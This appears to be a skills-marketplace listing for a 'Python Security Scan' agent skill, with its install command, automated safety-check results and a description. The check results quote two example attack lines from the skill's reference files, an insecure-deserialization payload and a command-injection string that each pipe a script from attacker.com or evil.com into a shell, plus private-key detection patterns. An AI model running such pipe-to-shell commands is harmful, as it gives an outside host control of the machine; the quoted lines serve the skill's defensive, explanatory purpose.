Python Security Scan
ListedHelps with Python, security as part of developing backend services and APIs workflows.
Install on your platform
Showing Claude Code. One command installs this skill into any of the agents below.
Python Security Scan, not the name it is listed under, so the command below uses that name.- 1
Run this in your project
terminal$ npx skills add sugarforever/01coder-agent-skills --skill "Python Security Scan" -a claude-code Uses the open-source
skillsCLI and needs Node.js. Add-gto install it for your user instead of this project.
What we know about this skill
Publisher
sugarforever
Taken from the source listing. We haven't verified who controls this account.
Install target
Live repository
Not pinned. Installing fetches whatever the repository holds at the time you run the command.
Automated safety checks
This skill failed 3 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.
No undeclared network calls: failed
Contacts 2 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: attacker.com, evil.com.
Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.
Hosts contacted
attacker.comundeclaredevil.comundeclaredWhat it found
- skills/python-security-scan/references/deserialization.md:57contacts attacker.com
return (os.system, ('curl http://attacker.com/shell.sh | bash',)) - skills/python-security-scan/references/injection-patterns.md:165contacts evil.com
|| wget http://evil.com/shell.sh | bash
No credential access: failed
Touches credential material in 2 places.
Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.
What it found
- skills/python-security-scan/scripts/secret-scanner.py:183private key material
"pattern": r"-----BEGIN RSA PRIVATE KEY-----", - skills/python-security-scan/scripts/secret-scanner.py:190private key material
"pattern": r"-----BEGIN OPENSSH PRIVATE KEY-----",
No pipe-to-shell installers: failed
Runs code fetched at install time in 2 places.
No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.
What it found
- skills/python-security-scan/references/deserialization.md:57remote script piped into a shell
return (os.system, ('curl http://attacker.com/shell.sh | bash',)) - skills/python-security-scan/references/injection-patterns.md:165remote script piped into a shell
|| wget http://evil.com/shell.sh | bash
Declares what it does: passed
SKILL.md parses and declares a name and a description.
SKILL.md exists, its frontmatter parses, and it declares a name and a description.
No obfuscated payloads: passed
No encoded or obfuscated payloads.
No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.
Pinned to a commit: passed
Scanned sugarforever/01coder-agent-skills at e51fb6e74c.
The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.
- Commit
- e51fb6e74c
- Scanned
- 12 files, 5,497 lines
About this skill
What it does
The Python Security Scan skill analyzes Python code for common security vulnerabilities. It identifies potential issues like SQL injection, cross-site scripting (XSS), and insecure deserialization. The scan provides detailed reports highlighting the location and severity of each vulnerability found within the codebase.
When to use it
- Before deployment: Integrate into your CI/CD pipeline to automatically check code for security flaws before releasing new versions.
- Code review: Use during code reviews to proactively identify and address potential vulnerabilities early in the development process.
- Security audits: Employ as part of a broader security audit to assess the overall security posture of a Python application.
- Penetration testing preparation: Run before penetration tests to surface common issues that can be quickly remediated.
Key capabilities
- Vulnerability scanning for Python code
- Identification of SQL injection vulnerabilities
- Detection of cross-site scripting (XSS) risks
- Insecure deserialization detection
- Detailed vulnerability reporting
Example prompts
- "Scan this Python file for security vulnerabilities: [file_path]"
- "Analyze the codebase in this repository and report any potential security issues."
- “Find all instances of SQL injection vulnerabilities in this script.”
Tips & gotchas
The skill requires a valid Python environment to be available. The accuracy of the scan depends on the complexity of the code and may require manual verification of reported findings.